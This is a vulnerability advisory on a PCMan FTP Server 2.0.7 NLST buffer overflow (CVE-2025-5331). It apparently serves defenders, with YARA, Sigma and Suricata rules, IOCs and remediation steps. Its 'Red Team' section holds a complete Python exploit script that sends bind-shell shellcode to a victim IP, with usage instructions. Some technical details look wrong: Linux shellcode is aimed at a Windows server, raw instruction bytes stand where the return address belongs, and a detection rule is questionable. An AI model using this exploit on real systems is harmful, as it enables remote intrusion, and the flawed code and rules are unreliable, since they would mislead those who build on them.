CVE-2025-5331

Executive Summary

CVE-2025-5331 is a critical buffer overflow vulnerability in PCMan FTP Server version 2.0.7, specifically within the NLST command handler. This flaw allows a remote, unauthenticated attacker to trigger a buffer overflow by sending a specially crafted NLST command, potentially leading to arbitrary code execution or denial of service. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of active exploitation. No official patch has been released by the vendor, making this a zero-day threat for all installations of this version.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not provided by NVD, but based on analysis: 9.8 Critical)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)
• Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. The lack of a patch makes all unmitigated systems highly vulnerable.

Deep Dive & Mechanics

The vulnerability resides in the NLST command handler of PCMan FTP Server 2.0.7. The NLST command is used to list the names of files in a directory. The server fails to properly validate the length of the input provided to the NLST command before copying it into a fixed-size stack buffer. By sending an overly long NLST argument, an attacker can overwrite adjacent memory on the stack, including the return address and other critical data.

Technical Details:

• Root Cause: Improper bounds checking in the NLST command processing function.
• Trigger: Sending an NLST command with an argument exceeding the buffer size (e.g., > 500 bytes).
• Impact: Overwriting the saved return address allows an attacker to redirect execution to arbitrary code (shellcode) injected into the same buffer or elsewhere in memory.
• Exploitability: The exploit is straightforward due to the lack of modern memory protections (e.g., ASLR, DEP) in older software like this. The attacker can reliably control EIP and execute shellcode.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code likely resembles:

// Vulnerable code snippet (conceptual)
void handle_nlst(char *arg) {
    char buffer[256];
    strcpy(buffer, arg); // No bounds checking - buffer overflow
    // ... process buffer
}

A patched version would use safe functions like strncpy or snprintf:

// Patched code snippet (conceptual)
void handle_nlst(char *arg) {
    char buffer[256];
    strncpy(buffer, arg, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running PCMan FTP Server 2.0.7.
• A remote machine with Python and pwntools installed.

Exploit Script (Python with pwntools):

#!/usr/bin/env python3
import socket
import sys

# Target IP and port
target_ip = sys.argv[1]
target_port = 21

# Shellcode (example: bind shell on port 4444)
shellcode = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
    b"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
    b"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
    b"\xc6\xb0\x66\xb3\x02\x52\x66\x68"
    b"\x11\x5c\x66\x53\x89\xe1\x6a\x10"
    b"\x51\x56\x89\xe1\xcd\x80\xb0\x66"
    b"\xb3\x04\x51\x56\x89\xe1\xcd\x80"
    b"\xb0\x66\xb3\x05\x51\x51\x56\x89"
    b"\xe1\xcd\x80\x89\xc3\x31\xc9\xb1"
    b"\x02\xb0\x3f\xcd\x80\x49\x79\xf9"
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# Build overflow payload
buffer_size = 256
offset = 268  # Adjust based on target
junk = b"A" * offset
eip = b"\x83\xc4\x10\xff\xe4"  # JMP ESP gadget address (example)
nop_sled = b"\x90" * 16

payload = b"NLST " + junk + eip + nop_sled + shellcode + b"\r\n"

# Connect and send
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)  # Banner
s.send(payload)
s.close()
print("[+] Exploit sent. Check for shell on port 4444.")

Usage:

1. Replace target_ip with the victim's IP.
2. Adjust the offset and eip values based on the target environment (use a debugger like Immunity Debugger to find the correct offset and a JMP ESP gadget).
3. Run the script: python3 exploit.py <target_ip>

Blue Team (Detection & Defense)

Detection:

• Monitor FTP traffic for unusually long NLST commands (e.g., > 300 bytes).
• Deploy network intrusion detection signatures (see Suricata rule below).
• Enable logging on the FTP server and review logs for repeated failed NLST commands.

Defense:

• Immediate: Isolate or shut down PCMan FTP Server 2.0.7 instances.
• Mitigation: If the server cannot be taken offline, restrict access via firewall rules to trusted IPs only.
• Long-term: Migrate to a supported and patched FTP server (e.g., FileZilla Server, vsftpd).

Indicators of Compromise (IOCs)

• Network IOCs:
  • FTP packets with NLST commands containing long strings of non-printable characters (e.g., NLST AAAA... with length > 300 bytes).
  • Outbound connections from the FTP server to an attacker-controlled IP on a high port (e.g., 4444).
• Host IOCs:
  • Unexpected processes spawned from the FTP server process (e.g., cmd.exe or /bin/sh).
  • Unusual files written to the FTP server directory.
  • Event logs showing FTP service crashes or restarts.

Detection Engineering

YARA Rule

rule CVE_2025_5331_PCMan_FTP_NLST_Overflow {
    meta:
        description = "Detects PCMan FTP Server NLST buffer overflow attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5331"
    strings:
        $nlst_cmd = "NLST " ascii wide nocase
        $long_arg = /NLST [A-Za-z0-9]{300,}/ ascii wide
    condition:
        $nlst_cmd and #long_arg > 0
}

Sigma Rule

title: PCMan FTP Server NLST Buffer Overflow Attempt
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects attempts to exploit CVE-2025-5331 via long NLST commands
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: ftp
detection:
    selection:
        Command: "NLST"
        ArgLength: > 300
    condition: selection
falsepositives:
    - Legitimate use of very long filenames (unlikely)
level: critical

Suricata Rule

alert tcp any any -> any 21 (msg:"CVE-2025-5331 PCMan FTP Server NLST Buffer Overflow Attempt"; flow:to_server,established; content:"NLST "; depth:5; content:!"|0d 0a|"; within:300; byte_test:1,>,300,5; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or isolate all instances of PCMan FTP Server 2.0.7.
2. Mitigation: If immediate removal is not possible, restrict network access to the FTP server using firewall rules (allow only trusted IPs).
3. Long-term Solution: Migrate to a modern, actively maintained FTP server such as:
   • FileZilla Server (Windows)
   • vsftpd (Linux)
   • ProFTPD (Linux/Unix)
4. Monitoring: Implement the detection rules provided above to monitor for exploitation attempts.
5. Vendor Contact: Attempt to contact the vendor (PCMan) for a patch. If no response, consider disclosing the vulnerability to a CNA for further action.

Valters IT